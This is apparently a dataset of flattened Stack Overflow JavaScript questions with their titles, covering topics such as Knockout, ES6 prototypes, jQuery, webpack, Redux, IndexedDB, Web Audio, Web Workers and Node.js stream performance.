{ // clone a temporary copy of data for the dialog when opening ( *.localEdited on dialog ) var clonedData = ko.toJS ( data ) ; ko.mapping.fromJS ( clonedData , null , this.localEdited ) ; // selected should now point to the item in the obserable array which will be refreshed this.selected ( data ) ; // open dialog ... } , submitDialog : function ( data ) { // submit data to server ... // ( 1 ) commit the data back to UI ( new item is return in resp.entity from server ) vm.selected ( new ItemWrapper ( resp.entity ) ) ; // at this point the UI is n't showing the updated value // ( 2 ) however if I do this it reflects the data change in the UI this.selected ( ) .Name ( `` changed '' ) ; // updates the UI . } function PoolWrapper ( pool ) { this.Name = ko.observable ( pool.Name ) ; // more properties ... }",Can not update Knockout UI with fresh data object "JS : First , I create a ES5 Function and then create it 's prototype : I get no error in here . But when I create the same with ES6 fat arrow function , I get Can not set property 'city ' of undefined : Why is this ? var Person = function ( ) { } ; Person.prototype.city = function ( ) { return 'New York ' } let Person = ( ) = > { } ; Person.prototype.city = ( ) = > { return 'New York ' }",Why ca n't we create prototypes using ES6 Arrow Functions ? "JS : I am trying to create a text search function but I am having a hard time getting it to work when there is html inside the element . Here is some simple html to demonstrate my problem.And here is where I am currently at for javascript . It works great assuming there is no html inside.As the user is typing I need to replace the text with the span . So the content should look like the following as he/she types.UPDATEAfter looking over the question that was voted a duplicate I came up with this . Which although may be close , it inserts the html into the DOM as text which I do not want . Please vote to reopen this . < b > < input type= '' checkbox '' value= '' '' / > I need replaced < /b > $ ( `` * '' , search_container ) .each ( function ( ) { var replaceTxt = $ ( this ) .text ( ) .replace ( new RegExp ( `` ( `` + search_term + `` ) '' , ' i ' ) , ' < span style= '' color : # 0095DA ; '' class= '' textSearchFound '' > $ 1 < /span > ' ) ; $ ( this ) .text ( ) .replaceWith ( replaceTxt ) ; } ) ; < b > < input type= '' checkbox '' value= '' '' / > < span style= '' color : # 0095DA '' class= '' textSearchFound '' > I need < /span > replaced < /b > $ ( `` * '' , search_container ) .each ( function ( ) { var node = $ ( this ) .get ( 0 ) ; var childs = node.childNodes ; for ( var inc = 0 ; inc < childs.length ; inc++ ) { //Text node if ( childs [ inc ] .nodeType == 3 ) { if ( childs [ inc ] .textContent ) { childs [ inc ] .textContent = childs [ inc ] .textContent.replace ( new RegExp ( `` ( `` + search_term + `` ) '' , ' i ' ) , ' < span style= '' color : # 0095DA ; '' class= '' textSearchFound '' > $ 1 < /span > ' ) ; } //IE else { childs [ inc ] .nodeValue = childs [ inc ] .nodeValue.replace ( new RegExp ( `` ( `` + search_term + `` ) '' , ' i ' ) , ' < span style= '' color : # 0095DA ; '' class= '' textSearchFound '' > $ 1 < /span > ' ) ; } } } } ) ;","Replace text inside an element with text containing html , without removing html already present" "JS : Is there a way in webpack to restrict what files can be imported ? Say I want to be able to import files that are in the same directory , as well as the parent directory , but nothing above that parent directory ? For example : These workBut this would n't workBecause that would go up two ( or x number of ) directories , instead of just one . import { blah } from `` ./script.js '' ; import { blah2 } from `` ./../gui/textbox.js '' ; import { blah3 } from `` ./../I/can/go/as/deep/down/as/I/want/here.js '' ; import { passwords } from `` ./../../passwords.txt '' ;","webpack , restrict what can be imported" "JS : I have small problem.I need select option from < select > A , which triggered action and select his first < option > in < select > B by value from selected < option > from A.Everything works fine , but I ca n't select ONLY last optgroup and his option.Try to look at jsfiddleThis bug seems to be only on Firefox ( Linux , Win7 ) . Google Chrome is ok.Any ideas ? Code ( html ) : Code js : UPDATEI updated jsfiddle where I removed show/hide functions.I will try to reproduce how script works : When I select Collation from first select box ( fe . value DOS Russin ) , second select is selected as I need.I changed first select value to another one . In this moment is everything ok. ! I changed back to the DOS Russian and in this moment the second select box is not selected as in first step.This is a very strange behavior and I ca n't to do works in FF . < select id= '' charset '' name= '' charset '' > < option value= '' '' > < /option > < option value= '' armscii8 '' > ARMSCII-8 Armenian < /option > < option value= '' ascii '' > US ASCII < /option > < option selected= '' selected '' value= '' utf8 '' > UTF-8 Unicode < /option > < /select > < select id= '' collation '' name= '' collation '' > < optgroup label= '' armscii8 '' > < option value= '' armscii8_bin '' > armscii8_bin < /option > < option value= '' armscii8_general_ci '' > armscii8_general_ci < /option > < /optgroup > < optgroup label= '' ascii '' > < option value= '' ascii_bin '' > ascii_bin < /option > < option value= '' ascii_general_ci '' > ascii_general_ci < /option > < /optgroup > < optgroup label= '' utf8 '' > < option value= '' utf8_bin '' selected= '' selected '' > utf8_bin < /option > < option value= '' utf8_czech_ci '' > utf8_czech_ci < /option > < option value= '' utf8_danish_ci '' > utf8_danish_ci < /option > < option value= '' utf8_esperanto_ci '' > utf8_esperanto_ci < /option > < /optgroup > < /select > ` ( function ( $ ) { function setCollation ( charset ) { $ ( ' # collation optgroup option ' ) .removeAttr ( 'selected ' ) ; $ ( ' # collation optgroup ' ) .hide ( 0 ) ; if ( charset & & charset ! = `` ) { $ ( `` # collation optgroup [ label= ' '' + charset + `` ' ] '' ) .show ( 0 ) ; $ ( `` # collation optgroup [ label= ' '' + charset + `` ' ] option : first '' ) .attr ( 'selected ' , 'selected ' ) ; } } $ ( ' # charset ' ) .change ( function ( ) { setCollation ( $ ( this ) .val ( ) ) ; } ) ; setCollation ( $ ( ' # charset ' ) .val ( ) ) ; } ) ( jQuery ) ;",jQuery - Can not select first option on last optgroup "JS : Code comes from the reduce-reducer repo : I understand that the purpose of this function is to flatten the different slices of state in Redux , see here , but I do n't understand how this function works . I have looked up MDN , but still do n't understand.What is calling previous , current and what do p and r represent . I ca n't identify the variables being called.EditMark Erikson defines this function in his Practical Redux Series : reduceReducers is a nifty little utility . It lets us supply multiple reducer functions as arguments and effectively forms a pipeline out of those functions , then returns a new reducer function . If we call that new reducer with the top-level state , it will call the first input reducer with the state , pass the output of that to the second input reducer , and so on.Edit 2I wrote a post to explain reduceReducers ( ) . export function reduceReducers ( ... reducers ) { return ( previous , current ) = > reducers.reduce ( ( p , r ) = > r ( p , current ) , previous ) ; }",How Does reduceReducers ( ) Work ? JS : This is what I am trying to remove strings from : and the results should be : I have tried using regexbut it 's not working ? Any ideas ? var myl = 'okok { `` msg '' : '' uc_okok '' } ' { `` msg '' : '' uc_okok '' } var news = myl.toString ( ) .replace ( / \ { ( .* '' '' ? ) \ } /g ) ;,Remove everything outside of the brackets Regex "JS : Original QuestionI have a working version of my web application that I am trying to upgrade at the moment , and I 'm running into the issue of having a task which takes too long to complete in during a single HTTP request . The application takes a JSON list from a JavaScript front end by an HTTP Post operation , and returns a sorted/sliced version of that list . As the input list gets longer , the sorting operation takes a much longer time to perform ( obviously ) , so on suitably long input lists , I hit the 60 second HTTP request timeout , and the application fails.I would like to start using the deferred library to perform the sort task , but I 'm not clear on how to store/retrieve the data after I perform that task . Here is my current code : Ideally I would like to replace the entire try/except block with a call to the deferred task library : But I 'm unclear on how I would get the result back from that operation . I 'm thinking I would have to store it in the Datastore , and then retrieve it , but how would my JavaScript front end know when the operation is complete ? I 've read the documentation on Google 's site , but I 'm still hazy on how to accomplish this task.How I Solved ItUsing the basic outline in the accepted answer , here 's how I solved this problem : The Javascript frontend then polls queryLineups URL for a fixed amount of time and stops polling if either the time limit expires , or it receives data back . I hope this is helpful for anyone else attempting to solve a similar problem . I have a bit more work to do to make it fail gracefully if things get squirrelly , but this works and just needs refinement . class getLineups ( webapp2.RequestHandler ) : def post ( self ) : jsonstring = self.request.body inputData = json.loads ( jsonstring ) playerList = inputData [ `` pList '' ] positions = [ `` QB '' , '' RB '' , '' WR '' , '' TE '' , '' DST '' ] playersPos = sortByPos ( playerList , positions ) rosters , playerUse = getNFLRosters ( playersPos , positions ) try : # This step is computationally expensive , it will fail on large player lists . lineups = makeLineups ( rosters , playerUse,50000 ) self.response.headers [ `` Content-Type '' ] = `` application/json '' self.response.out.write ( json.dumps ( lineups ) ) except : logging.error ( `` 60 second timeout reached on player list of length : '' , len ( playerList ) ) self.response.headers [ `` Content-Type '' ] = `` text/plain '' self.response.set_status ( 504 ) app = webapp2.WSGIApplication ( [ ( '/lineup ' , getLineups ) , ] , debug = True ) deferred.defer ( makeLineups , rosters , playerUse,50000 ) def solveResult ( result_key ) : result = result_key.get ( ) playersPos = sortByPos ( result.playerList , result.positions ) rosters , playerUse = getNFLRosters ( playersPos , result.positions ) lineups = makeLineups ( rosters , playerUse,50000 ) storeResult ( result_key , lineups ) @ ndb.transactionaldef storeResult ( result_key , lineups ) : result = result_key.get ( ) result.lineups = lineups result.solveComplete = True result.put ( ) class Result ( ndb.Model ) : playerList = ndb.JsonProperty ( ) positions = ndb.JsonProperty ( ) solveComplete = ndb.BooleanProperty ( ) class getLineups ( webapp2.RequestHandler ) : def post ( self ) : jsonstring = self.request.body inputData = json.loads ( jsonstring ) deferredResult = Result ( playerList = inputData [ `` pList '' ] , positions = [ `` QB '' , '' RB '' , '' WR '' , '' TE '' , '' DST '' ] , solveComplete = False ) deferredResult_key = deferredResult.put ( ) deferred.defer ( solveResult , deferredResult_key ) self.response.headers [ `` Content-Type '' ] = `` text/plain '' self.response.out.write ( deferredResult_key.urlsafe ( ) ) class queryResults ( webapp2.RequestHandler ) : def post ( self ) : safe_result_key = self.request.body result_key = ndb.Key ( urlsafe=safe_result_key ) result = result_key.get ( ) self.response.headers [ `` Content-Type '' ] = `` application/json '' if result.solveComplete : self.response.out.write ( json.dumps ( result.lineups ) ) else : self.response.out.write ( json.dumps ( [ ] ) )",How do I return data from a deferred task in Google App Engine "JS : I want to zip some data into a writableStream . the purpose is to do all in memory and not to create an actual zip file on disk.For testing only , i 'm creating a ZIP file on disk . But when I try to open output.zip i get the following error : `` the archive is either in unknown format or damaged '' . ( WinZip at Windows 7 and also a similar error on MAC ) What am I doing wrong ? const fs = require ( 'fs ' ) , archiver = require ( 'archiver ' ) , streamBuffers = require ( 'stream-buffers ' ) ; let outputStreamBuffer = new streamBuffers.WritableStreamBuffer ( { initialSize : ( 1000 * 1024 ) , // start at 1000 kilobytes . incrementAmount : ( 1000 * 1024 ) // grow by 1000 kilobytes each time buffer overflows . } ) ; let archive = archiver ( 'zip ' , { zlib : { level : 9 } // Sets the compression level . } ) ; archive.pipe ( outputStreamBuffer ) ; archive.append ( `` this is a test '' , { name : `` test.txt '' } ) ; archive.finalize ( ) ; outputStreamBuffer.end ( ) ; fs.writeFile ( 'output.zip ' , outputStreamBuffer.getContents ( ) , function ( ) { console.log ( 'done ! ' ) ; } ) ;",node.js compressing ZIP to memory "JS : I have a list of items , which is to be selected based on the below conditions . ( like in the Mac Finder ) Click -- > Select the current item and deselect the previously selected items.Command/Control + Click -- > Select the current item without deselecting the previously selected items.Shift + Click -- > Select the item in between the items previously clicked and the current clicked item.After selection , I need to get the selected items.I need to deselect all the selected items.My Template : JavaScript : } ) ; My JSBin LinkI could not make this happen as I am new to ember . I am learning and there is a lot to update , many thanks for your replies and help in any respect . < ul > { { # each } } { { # view App.TestView } } < li class= '' user '' > { { val } } < /li > { { /view } } { { /each } } < /ul > App.IndexRoute = Ember.Route.extend ( { model : function ( ) { return [ { 'val ' : 'red ' , 'isActive ' : false } , { 'val ' : 'blue ' , 'isActive ' : false } , { 'val ' : 'green ' , 'isActive ' : false } , { 'val ' : 'yellow ' , 'isActive ' : false } , { 'val ' : 'orange ' , 'isActive ' : false } , { 'val ' : 'pink ' , 'isActive ' : false } ] ; } , actions : { changeBgSelection : function ( params ) { var temp_obj =this.get ( `` controller '' ) .objectAt ( this.modelFor ( `` index '' ) .indexOf ( params ) ) ; temp_obj.isActive=true ; } , deSelectAll : function ( ) { this.get ( `` controller '' ) .setEach ( `` isActive '' , false ) ; } , getSelected : function ( ) { //Get the selected items from the list } , unSelectAll : function ( ) { //To deselect all } } } ) ; App.TestView = Ember.View.extend ( { classNameBindings : [ `` isActive '' ] , isActive : false , click : function ( e ) { // Need to handle for click , control/command key + click , shift key + click . // Need to call the method when an item is clicked // this.get ( `` controller '' ) .send ( `` deSelectAll '' ) ; this.set ( `` isActive '' , ! this.get ( `` isActive '' ) ) ; var temp_model = this.get ( `` context '' ) ; this.get ( `` controller '' ) .send ( `` changeBgSelection '' , temp_model ) ; }","Ember selecting from a list using click , command/control and shift keys" "JS : I 'd like to define a shortcut method for inspecting the end of a stack.The following works in Firefox : However , after compiling this with Babel , it does n't work : For some reason , I can add functions to the new prototype , but they wo n't be available to instances of that prototype unless they 're inserted directly into the Array prototype ( which is obviously bad practice due to potential side effects ) .Update : There might be several ways to get around this ( including Proxy objects , or extending the prototype manually instead of using extends ) , but since my Stack does n't really need most of the Array methods , I 'm now simply using a wrapper . const Stack = class extends Array { last ( ) { return this [ this.length - 1 ] ; } } var Stack = function ( _Array ) { _inherits ( Stack , _Array ) ; function Stack ( ) { _classCallCheck ( this , Stack ) ; return _possibleConstructorReturn ( this , Object.getPrototypeOf ( Stack ) .apply ( this , arguments ) ) ; } _createClass ( Stack , [ { key : 'last ' , value : function last ( ) { return this [ this.length - 1 ] ; } } ] ) ; return Stack ; } ( Array ) ; console.log ( Stack.prototype.last ) ; // worksconsole.log ( ( new Stack ( ) ) .last ) ; // does n't workArray.prototype.last = Stack.prototype.last ; console.log ( ( new Stack ( ) ) .last ) ; // works const Stack = class { constructor ( ... x ) { this.arr = [ ... x ] ; } pop ( ) { return this.arr.pop ( ) ; } push ( ... x ) { return this.arr.push ( ... x ) ; } top ( ) { return this.arr [ this.arr.length - 1 ] ; } size ( ) { return this.arr.length ; } }",How can I extend the Array class in Babel ? JS : I want to get two resources using two asynch calls . I want to proceed only when both resources have been retrieved . How can I do this elegantly in JS ? This would work : but stuff2 only starts after stuff1 completes . I 'd prefer to start stuff2 while waiting on stuff1 . getStuff1 ( function ( result1 ) { getStuff2 ( function ( result2 ) { // do stuff with result1 and result2 ... . } },Coordinating Asynchronous Requests in Javascript JS : I want date with this format : ' % Y- % m- % dT % H : % M : % S+0000 ' . I wrote a function but still asking myself if there is not better way to do this.This is my function : Any ideal on how to do this with less code ? function formatDate ( ) { var d = new Date ( ) ; var year = d.getMonth ( ) + 1 ; var day = d.getDate ( ) ; var month = d.getMonth ( ) + 1 ; var hour = d.getHours ( ) ; var min = d.getMinutes ( ) ; var sec = d.getSeconds ( ) ; var date = d.getFullYear ( ) + `` - '' + ( month < 10 ? ' 0 ' + month : month ) + `` - '' + ( day < 10 ? ' 0 ' + day : day ) + `` T '' + ( hour < 10 ? ' 0 ' + hour : hour ) + `` : '' + ( min < 10 ? ' 0 ' + min : min ) + `` : '' + ( sec < 10 ? ' 0 ' + sec : sec ) + `` +0000 '' ; return date ; },Formatting Date in javascript "JS : I 've run into a situation where I am creating a jQuery object from an html string and need to select all elements within it with a particular class.What I 'm finding odd is that its returning one or the other , depending on which type of selecting mechanism I 'm using . A test case is shown here : http : //jsfiddle.net/Rfq9F/In this example , both an li element in a ul and a non-descendant div have the class `` foo '' . In the example , I use the .foo selector and set context to the template string . Second , I use .find ( ) on the string . Finally , I use .filter ( ) on the string . Can someone explain why the selector mechanisms are acting as they do , and also how to achieve the goal I mentioned in the beginning ? var tmpl = ' < ul > < li class= '' foo '' > TEST < /li > < /ul > < div class= '' foo '' > BAR < /div > ' ; console.log ( $ ( '.foo ' , tmpl ) ) ; // [ < li class= '' foo '' > TEST < /li > ] console.log ( $ ( tmpl ) .find ( '.foo ' ) ) ; // [ < li class= '' foo '' > TEST < /li > ] console.log ( $ ( tmpl ) .filter ( '.foo ' ) ) ; // [ < div class= '' foo '' > BAR < /div > ]",Why is the following jQuery selector not returning both elements ? "JS : I am trying to avoid having the ugly `` click '' sound when stopping an oscillator , so I decided to try some fade-outs with exponentialRampToValueAtTime . Like this : This works well , there 's no `` click '' sound and the ramp down is smooth . However , as soon as I do this using buttons and event listeners , the ugly click comes back and somehow the ramp down is more brute btw , please wait 1 second after pressing `` stop '' and before re-pressing `` play '' or ugly things happen : ) I 'm clearly missing some theory here . The code is very similar except for the listeners and the outcome of both snippets is very different in quality . Can you please explain where that difference comes from ? Is there a way to achieve the first snippet quality while using buttons/listeners ? Thanks ! var playButton = document.getElementById ( 'play ' ) ; var stopButton = document.getElementById ( 'stop ' ) ; var context = new AudioContext ( ) ; var gainNode = context.createGain ( ) ; var oscillator = context.createOscillator ( ) ; gainNode.connect ( context.destination ) ; oscillator.connect ( gainNode ) ; gainNode.gain.setValueAtTime ( 1 , context.currentTime ) ; oscillator.start ( ) ; gainNode.gain.exponentialRampToValueAtTime ( 0.0001 , context.currentTime + 1 ) ; var playButton = document.getElementById ( 'play ' ) ; var stopButton = document.getElementById ( 'stop ' ) ; var context = new AudioContext ( ) ; var gainNode = context.createGain ( ) ; var oscillator ; gainNode.connect ( context.destination ) ; playButton.addEventListener ( 'click ' , function ( ) { oscillator = context.createOscillator ( ) ; oscillator.connect ( gainNode ) ; gainNode.gain.setValueAtTime ( 1 , context.currentTime ) ; oscillator.start ( ) ; } , false ) ; stopButton.addEventListener ( 'click ' , function ( ) { gainNode.gain.exponentialRampToValueAtTime ( 0.0001 , context.currentTime + 1 ) ; setTimeout ( function ( ) { oscillator.stop ( ) ; } , 1000 ) } , false ) ; < button id= '' play '' > play < /button > < button id= '' stop '' > stop < /button >",Web audio `` Click '' sound even when using exponentialRampToValueAtTime "JS : Why should I add a camera to a scene , although I am already passing it to my render method ? Every example I have seen in the repository adds the camera to the scene , e.g . weggl_geometries . But after removing scene.add ( camera ) it still works ... init functionrender function camera = new THREE.PerspectiveCamera ( 45 , window.innerWidth / window.innerHeight , 1 , 2000 ) ; camera.position.y = 400 ; scene.add ( camera ) ; renderer.render ( scene , camera ) ;",Reasons for adding a camera to a scene in Three.js ? "JS : I 've been reading all around the MDN , but I get stuff like : keyPath The key path for the index to use . Note that it is possible to create an index with an empty keyPath , and also to pass in a sequence ( array ) as a keyPath.Well , no s @ ! t , keyPath is a key path . But what is that ? In all examples , it 's the same thing as the name of the column ( or index , as they call it ) : They say that you can pass : An empty string - `` '' A valid JavaScript identifier ( I assume this means valid JS variable name ) Multiple javascript identifiers separated by periods , eg : `` name.name2.foo.bar '' An array containing any of the above , eg . : [ `` foo.bar '' , '' '' , '' name '' ] I ca n't imagine what purpose does this serve . I absolutely do not understand what keyPath is and what can I use it for . Can someone please provide example usage where keyPath is something else than the name of the column ? An explanation what effect do values of keyPath have on the database ? objectStore.createIndex ( `` hours '' , `` hours '' , { unique : false } ) ; objectStore.createIndex ( `` minutes '' , `` minutes '' , { unique : false } ) ; objectStore.createIndex ( `` day '' , `` day '' , { unique : false } ) ; objectStore.createIndex ( `` month '' , `` month '' , { unique : false } ) ; objectStore.createIndex ( `` year '' , `` year '' , { unique : false } ) ;",What 's the purpose of keyPath in IDBObjectStore.createIndex ( ) ? "JS : Hi I have a problem with responsive resize in jQuery . I have dynamic divs that I want to move to another div . When the screen size is changing I have the same width , height and position to my divs . How can i fix it ? I want , when the screen size is changing then the divs size also with the same position . I was thinking about $ ( window ) .resize ( function ( ) { } ) ; , but how can i do it , can someone help me with that ? Here is the problem : $ ( '.box ' ) .each ( function ( ) { $ ( '.box ' ) .draggable ( { containment : ' # boxid ' } ) ; } ) ; $ ( '.box ' ) .each ( function ( ) { $ ( '.box ' ) .resizable ( ) ; } ) ; # boxid { height : 750px ; border : 5px dotted # 292929 ; } .box { background : rgb ( 107 , 193 , 243 ) ; cursor : move ; position : absolute ; } < link rel= '' stylesheet '' type= '' text/css '' href= '' https : //code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css '' > < script src= '' https : //code.jquery.com/jquery-1.12.4.js '' > < /script > < script src= '' https : //code.jquery.com/ui/1.12.1/jquery-ui.js '' > < /script > < div class= '' row '' > < div id= '' boxid '' class= '' col-xs-12 '' > < ! -- hier die Position änder -- > < /div > < /div > < ! -- here I start the foreach -- > < div id= '' id '' class= '' box '' style= '' top:50px ; left:50px ; width:50px ; height:50px ; '' > < p id= '' top '' > < /p > < p id= '' left '' > < /p > < p id= '' height '' > < /p > < p id= '' width '' > < /p > < /div > < div id= '' id '' class= '' box '' style= '' top:50px ; left:50px ; width:50px ; height:50px ; '' > < p id= '' top '' > < /p > < p id= '' left '' > < /p > < p id= '' height '' > < /p > < p id= '' width '' > < /p > < /div > < ! -- here I end the foreach -- >",Responsive resize jQuery "JS : Fiddle : https : //jsfiddle.net/eimmot/065wxa9o/9/Using Chrome , launch Task Manager ( Shift+ESC ) , click the worker invert button a few times , each time it goes up ~10 MB . Anytime I receive a message back from the worker the memory goes up , it 's not from modifying or accessing the canvas , it happens when the worker sends the message back to the main thread . It gets worse the larger the message is.Adding the ImageData buffer to the optional transferables list on postMessage does n't make a difference , same result , I 'm wondering if there 's another way I should approach this.Still does n't matter if the main thread and/or worker thread is transferring ownership . I can see in the console that the imageData object actually transfers ownership , but the memory still increases ! I 've tried memory profiling with chrome dev tools but I ca n't see where the increase is at.Forcing GC in dev tools clears the memory . Sometimes GC runs automatically , sometimes it does n't , when it does , it only releases like 10 % of what 's been allocated.I 've read a lot of pages last night but they all say the same thing and I feel like I am overlooking something simple . Transferable objects : https : //developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers # Passing_data_by_transferring_ownership_ ( transferable_objects ) UpdateChrome Version 48.0.2564.116 beta-m ( 64-bit ) Fiddle : https : //jsfiddle.net/eimmot/065wxa9o/13/Added a loop option , seems like the only way to release the memory is to terminate the thread , I wanted to avoid creating new threads each time though and just keep one open because there is a noticeable delay when creating a new one each time imageData = ctx.getImageData ( 0 , 0 , 800 , 600 ) ; worker.postMessage ( imageData , [ imageData.data.buffer ] ) ;",Memory leak with Web Worker / Canvas "JS : im trying to creater a marker with popup on click , so far so good , the problem is when im trying to set the content of the popup to be my custom tag , for exampleI know about the option of setDOMContent but I did n't manage to get it right ... it suppose to work with document.createElement ( 'custom-tag ' ) so if you can help me on how to use it with custom components.thank you for your help ! let popup = new mapboxgl.Popup ( ) .setHTML ( `` < custom-tag > < /custom-tag > '' )",Mapbox GL Popup set content with custom tag "JS : If I open the console and enter ... ... it returns ( { toString : ( function ( ) { return `` -- > '' + a ; } ) } ) .But if I enter ... ... it alerts `` -- > 5 '' It does n't matter me very much , but I would prefer the first code to return `` -- > 5 '' . Is there a way to do that , or is it intentional that the console does n't use toString ? var f=function ( a ) { this.toString=function ( ) { return `` -- > '' +a ; } } , i=new f ( 5 ) ; i ; var f=function ( a ) { this.toString=function ( ) { return `` -- > '' +a ; } } , i=new f ( 5 ) ; alert ( i ) ;",Why the console does n't use entered object 's ` toString ` method ? "JS : On node v8.1.4 and v6.11.1I started out with the following echo server implementation , which I will refer to as pipe.js or pipe.And I benchmarked it with wrk and the followinglua script ( shortened for brevity ) that will send a small body as a payload.At 2k requests per second and 44ms of average latency , performance is not great.So I wrote another implementation that uses intermediate buffers until therequest is finished and then writes those buffers out . I will refer to this asbuffer.js or buffer.Performance drastically changed with buffer.js servicing 20k requests persecond at 4ms of average latency.Visually , the graph below depicts the average numberof requests serviced over 5 runs and various latency percentiles ( p50 ismedian ) .So , buffer is an order of magnitude better in all categories . My question is why ? What follows next are my investigation notes , hopefully they are at least educational.Response BehaviorBoth implementations have been crafted so that they will give the same exactresponse as returned by curl -D - -- raw . If given a body of 10 d 's , both willreturn the exact same response ( with modified time , of course ) : Both output 128 bytes ( remember this ) .The Mere Fact of BufferingSemantically , the only difference between the two implementations is thatpipe.js writes data while the request has n't ended . This might make onesuspect that there could be multiple data events in buffer.js . This is nottrue.Empirically : Chunk length will always be 10Buffers length will always be 1Since there will only ever be one chunk , what happens if we remove buffering and implement a poor man 's pipe : Turns out , this has as abysmal performance as pipe.js . I find thisinteresting because the same number of res.write and res.end calls are madewith the same parameters . My best guess so far is that the performancedifferences are due to sending response data after the request data has ended.ProfilingI profiled both application using the simple profiling guide ( -- prof ) .I 've included only the relevant lines : pipe.jsbuffer.jsWe see that in both implementations , C++ dominates time ; however , the functionsthat dominate are swapped . Syscalls account for nearly half the time forpipe , yet only 1 % for buffer ( forgive my rounding ) . Next step , whichsyscalls are the culprit ? Strace Here We ComeInvoking strace like strace -c node pipe.js will give us a summary of the syscalls . Here are the top syscalls : pipe.jsbuffer.jsThe top syscall for pipe ( epoll_wait ) with 44 % of the time is only 0.6 % ofthe time for buffer ( a 140x increase ) . While there is a large timediscrepancy , the number of times epoll_wait is invoked is less lopsided withpipe calling epoll_wait ~8x more often . We can derive a couple bits ofuseful information from that statement , such that pipe calls epoll_waitconstantly and an average , these calls are heavier than the epoll_wait forbuffer.For buffer , the top syscall is writev , which is expected considering mostof the time should be spent writing data to a socket.Logically the next step is to take a look at these epoll_wait statementswith regular strace , which showed buffer always contained epoll_wait with100 events ( representing the hundred connections used with wrk ) and pipehad less than 100 most of the time . Like so : pipe.jsbuffer.jsGraphically : This explains why there are more epoll_wait in pipe , as epoll_waitdoes n't service all the connections in one event loop . The epoll_wait forzero events makes it look like the event loop is idle ! All this does n't explainwhy epoll_wait takes up more time for pipe , as from the man page it statesthat epoll_wait should return immediately : specifying a timeout equal to zero cause epoll_wait ( ) to return immediately , even if no events are available.While the man page says the function returns immediately , can we confirm this ? strace -T to the rescue : Besides supporting that buffer has fewer calls , we can also see that nearlyall calls took less than 100ns . Pipe has a much more interesting distributionshowing that while most calls take under 100ns , a non-negligible amount takelonger and land into the microsecond land.Strace did find another oddity , and that 's with writev . The return value isthe number of bytes written.pipe.jsbuffer.jsRemember when I said that both output 128 bytes ? Well , writev returned 123bytes for pipe and 128 for buffer . The five bytes difference for pipe isreconciled in a subsequent write call for each writev.And if I 'm not mistaken , write syscalls are blocking.ConclusionIf I have to make an educated guess , I would say that piping when the requestis not finished causes write calls . These blocking calls significantly reducethe throughput partially through more frequent epoll_wait statements . Whywrite is called instead of a single writev that is seen in buffer isbeyond me . Can someone explain why everything I saw is happening ? The kicker ? In the official Node.jsguideyou can see how the guide starts with the buffer implementation and then movesto pipe ! If the pipe implementation is in the official guide there should n't besuch a performance hit , right ? Aside : Real world performance implications of this question should be minimal , as the question is quite contrived especially in regards to the functionality and the body side , though this does n't mean this is any less of a useful question . Hypothetically , an answer could look like `` Node.js uses write to allow for better performance under x situations ( where x is a more real world use case ) '' Disclosure : question copied and slightly modified from my blog post in the hopes this is a better avenue for getting this question answeredJuly 31st 2017 EDITMy initial hypothesis that writing the echoed body after the request stream has finished increases performance has been disproved by @ robertklep with his readable.js ( or readable ) implementation : Readable performed at the same level as buffer while writing data before the end event . If anything this makes me more confused because the only difference between readable and my initial poor man 's pipe implementation is the difference between the data and readable event and yet that caused a 10x performance increase . But we know that the data event is n't inherently slow because we used it in our buffer code.For the curious , strace on readable reported writev outputs all 128 bytes output like bufferThis is perplexing ! const http = require ( 'http ' ) ; const handler = ( req , res ) = > req.pipe ( res ) ; http.createServer ( handler ) .listen ( 3001 ) ; wrk.method = `` POST '' wrk.body = string.rep ( `` a '' , 10 ) const http = require ( 'http ' ) ; const handler = ( req , res ) = > { let buffs = [ ] ; req.on ( 'data ' , ( chunk ) = > { buffs.push ( chunk ) ; } ) ; req.on ( 'end ' , ( ) = > { res.write ( Buffer.concat ( buffs ) ) ; res.end ( ) ; } ) ; } ; http.createServer ( handler ) .listen ( 3001 ) ; HTTP/1.1 200 OKDate : Thu , 20 Jul 2017 18:33:47 GMTConnection : keep-aliveTransfer-Encoding : chunkedadddddddddd0 req.on ( 'data ' , ( chunk ) = > { console.log ( ` chunk length : $ { chunk.length } ` ) ; buffs.push ( chunk ) ; } ) ; req.on ( 'end ' , ( ) = > { console.log ( ` buffs length : $ { buffs.length } ` ) ; res.write ( Buffer.concat ( buffs ) ) ; res.end ( ) ; } ) ; const http = require ( 'http ' ) ; const handler = ( req , res ) = > { req.on ( 'data ' , ( chunk ) = > res.write ( chunk ) ) ; req.on ( 'end ' , ( ) = > res.end ( ) ) ; } ; http.createServer ( handler ) .listen ( 3001 ) ; [ Summary ] : ticks total nonlib name 2043 11.3 % 14.1 % JavaScript 11656 64.7 % 80.7 % C++ 77 0.4 % 0.5 % GC 3568 19.8 % Shared libraries 740 4.1 % Unaccounted [ C++ ] : ticks total nonlib name 6374 35.4 % 44.1 % syscall 2589 14.4 % 17.9 % writev [ Summary ] : ticks total nonlib name 2512 9.0 % 16.0 % JavaScript 11989 42.7 % 76.2 % C++ 419 1.5 % 2.7 % GC 12319 43.9 % Shared libraries 1228 4.4 % Unaccounted [ C++ ] : ticks total nonlib name 8293 29.6 % 52.7 % writev 253 0.9 % 1.6 % syscall % time seconds usecs/call calls errors syscall -- -- -- -- -- -- -- -- - -- -- -- -- -- - -- -- -- -- - -- -- -- -- - -- -- -- -- -- -- -- -- 43.91 0.014974 2 9492 epoll_wait 25.57 0.008720 0 405693 clock_gettime 20.09 0.006851 0 61748 writev 6.11 0.002082 0 61803 106 write % time seconds usecs/call calls errors syscall -- -- -- -- -- -- -- -- - -- -- -- -- -- - -- -- -- -- - -- -- -- -- - -- -- -- -- -- -- -- -- 42.56 0.007379 0 121374 writev 32.73 0.005674 0 617056 clock_gettime 12.26 0.002125 0 121579 epoll_ctl 11.72 0.002032 0 121492 read 0.62 0.000108 0 1217 epoll_wait epoll_wait ( 5 , [ .16 snip . ] , 1024 , 0 ) = 16 epoll_wait ( 5 , [ .100 snip . ] , 1024 , 0 ) = 100 writev ( 11 , [ { `` HTTP/1.1 200 OK\r\nDate : Thu , 20 J '' ... , 109 } , { `` \r\n '' , 2 } , { `` dddddddddd '' , 10 } , { `` \r\n '' , 2 } ] , 4 ) = 123 writev ( 11 , [ { `` HTTP/1.1 200 OK\r\nDate : Thu , 20 J '' ... , 109 } , { `` \r\n '' , 2 } , { `` dddddddddd '' , 10 } , { `` \r\n '' , 2 } , { `` 0\r\n\r\n '' , 5 } ] , 5 ) = 128 write ( 44 , `` 0\r\n\r\n '' , 5 ) const http = require ( 'http ' ) ; const BUFSIZ = 2048 ; const handler = ( req , res ) = > { req.on ( 'readable 